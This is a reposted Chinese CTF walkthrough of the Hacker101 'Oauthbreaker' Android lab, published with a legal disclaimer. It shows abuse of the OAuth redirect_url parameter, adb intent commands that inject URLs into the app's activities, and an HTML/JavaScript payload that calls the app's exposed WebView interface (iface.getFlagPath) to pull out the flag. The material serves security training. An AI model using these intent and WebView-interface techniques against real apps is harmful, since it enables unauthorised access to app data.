[Hacker101靶场] Oauthbreaker[Easy]

admin 2024年7月30日00:13:20评论15 views字数 2479阅读8分15秒阅读模式

本文章仅用于网络安全研究学习,请勿使用相关技术进行违法犯罪活动。

简介:Hacker101是世界上最大的赏金猎人网站Hackerone的教程靶场。

知识点:第三方授权漏洞

这是一个android靶场,访问网站会让下载apk文件,下载安装打开如下图。

[Hacker101靶场] Oauthbreaker[Easy]

图1:app主页

点击AUTHENTICATE,会跳转到浏览器请求,为方便解说这里命名为操作一

# 请求的链接/oauth?redirect_url=oauth%3A%2F%2Ffinal%2Flogin&response_type=token&scope=all

[Hacker101靶场] Oauthbreaker[Easy]

图2:跳转浏览器

再点击Authorize Mobile Application,会请求/authed(此时还在浏览器中),burpsuite那边查看显示"Successfully authenticated via OAuth!"为方便解说这里命名为操作二,   

[Hacker101靶场] Oauthbreaker[Easy]

图3:跳转授权确认

[Hacker101靶场] Oauthbreaker[Easy]

图4:burpsuite跳转授权确认

功能说明:这个过程模拟的是app第三方授权的过程,操作一是请求第三方网站,操作二是第三方网站确认授权,猜测是第三方授权漏洞

模拟器设置burpsuite代理,反编译等见文章底部跳转链接另一篇文章。

Flag 1

burpsuite任意修改操作一中的参数redirect_url的值就可以获取Flag 1。这里就说明我们可以控制app请求的第三方网站。

[Hacker101靶场] Oauthbreaker[Easy]

图5:Burpsuite获取Flag 1

这里看不出效果,我们使用adb调试app再试一下。

打开cmd,进入夜神模拟器软件安装位置下的bin目录,执行如下命令连接模拟器。

# adb连接设备adb connect 127.0.0.1:62001# 如果端口不对,可以运行如下命令查看端口nox_adb.exe devices   # 查看设备连接情况adb devices

[Hacker101靶场] Oauthbreaker[Easy]

图6:adb连接模拟器

执行如下命令,模拟我们修改redirect_uri的操作。

adb shell am start -a "android.intent.action.VIEW" -n com.hacker101.oauth/.MainActivity -d "oauth://?redirect_uri=https://www.baidu.com/"# adb shell am start:这是ADB命令的一部分,用于在Android设备上启动一个Activity Manager(am)的start操作,即启动一个新的Activity。# -a "android.intent.action.VIEW":这个参数指定了Intent的动作(Action)为VIEW,通常用于查看或显示数据。这是处理URL的标准动作之一。        # -n com.hacker101.oauth/.MainActivity:这个参数通过组件名(Component Name)直接指定了要启动的Activity。com.hacker101.oauth是应用的包名,而/.MainActivity指定了包内的MainActivity类。注意,这里的/前面没有指定包名,因为-n参数已经通过com.hacker101.oauth指定了包名。           # -d "oauth://login/?redirect_uri=https://example.com/":这个参数通过数据(Data)URI指定了Intent的附加信息。这里使用的是自定义的oauth协议,后跟一个具体的URI路径login/,并带有一个查询参数redirect_uri,其值为https://example.com/。这个URI通常用于告诉应用登录成功后应该重定向到哪里。

[Hacker101靶场] Oauthbreaker[Easy]

图7:执行adb命令

在模拟器中依然进行操作一和操作二,网站会访问百度,且后面带Flag,和刚才我们在burpsuite中获取到的Flag一致也说明我们控制了app请求的url地址。

[Hacker101靶场] Oauthbreaker[Easy]

图8:模拟器获取Flag 1

我们下面进行代码分析,在kali中使用如下代码在对apk进行反编译得到oauth-dex2jar.jar文件,然后使用jd-gui打开。

sh d2j-dex2jar.sh -f oauth.apk

[Hacker101靶场] Oauthbreaker[Easy]

图9:代码目录

操作一MainActivity.class中,操作二Browser.class中。

WebAppInterFace.class中找到getFlagPath()函数,将函数使用Java运行结果不对,那么应该是要想办法在app中调用getFlagPath()

[Hacker101靶场] Oauthbreaker[Easy]

图10:WebAppInterFace.class

经过搜索,发现在Browser.class文件中调用了类WebAppInterface

而且由代码可知,程序会将传入类Browser的uri参数的值作为新的url去调用,且调用时会嵌入类WebAppInterface,并命名为iface。

[Hacker101靶场] Oauthbreaker[Easy]

图11:Browser.class
此处需要一个自己的服务器,将如下代码存入Oauthbreaker.html放上去,这里使用input框是为了好复制。
<input type="text" id="flag" /><script>document.getElementById("flag").value = iface.getFlagPath()</script>

然后使用命令行传入参数获取Flag地址,里面就是Flag地址,这里要把模拟器切换成竖幕,横屏会显示不全。

adb shell am start -a "android.intent.action.VIEW" -n com.hacker101.oauth/.Browser -d http://?uri=http://你的服务器地址/Oauthbreaker.html

[Hacker101靶场] Oauthbreaker[Easy]

图13:Flag地址

[Hacker101靶场] Oauthbreaker[Easy]

图14:Flag 2

感谢收看!

模拟器设置burpsuite代理

Rsec,公众号:Rsec[Hacker101靶场] H1 Thermostat[Easy]

原文始发于微信公众号(Rsec):[Hacker101靶场] Oauthbreaker[Easy]

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月30日00:13:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [Hacker101靶场] Oauthbreaker[Easy]https://cn-sec.com/archives/3005353.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息